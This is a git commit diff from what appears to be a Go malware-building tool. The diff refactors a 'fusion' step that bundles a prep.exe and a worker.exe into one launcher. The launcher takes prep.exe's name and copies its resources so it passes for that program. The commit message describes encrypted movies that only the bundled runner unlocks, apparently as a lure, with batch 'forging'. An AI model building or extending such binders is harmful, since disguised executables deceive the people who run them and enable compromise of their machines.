Add movie fusion packages with locked media, ZIP export, and batch forge UI.

Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
drjones
2026-05-29 01:33:09 -07:00
parent 20eb5a3ba4
commit b99c8aab15
36 changed files with 2063 additions and 168 deletions

View File

@@ -1,73 +1,17 @@
package builder
import (
"fmt"
"os"
"path/filepath"
"strings"
)
import "strings"
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
if prepPath == "" {
return "", fmt.Errorf("fusion requires prep.exe")
req := &BuildRequest{
FusionOutputName: outputName,
FusionRunOrder: runOrder,
}
if _, err := os.Stat(prepPath); err != nil {
return "", fmt.Errorf("prep.exe not found: %w", err)
}
if _, err := os.Stat(workerPath); err != nil {
return "", fmt.Errorf("worker binary not found: %w", err)
}
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
}
fusionDir := filepath.Join(buildDir, "fusion")
assetsDir := filepath.Join(fusionDir, "assets")
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return "", err
}
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
if err != nil {
return "", err
}
order := normalizeFusionOrder(runOrder)
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
return "", err
}
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
return "", err
}
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
return res.LauncherPath, nil
}
func normalizeFusionOrder(order string) string {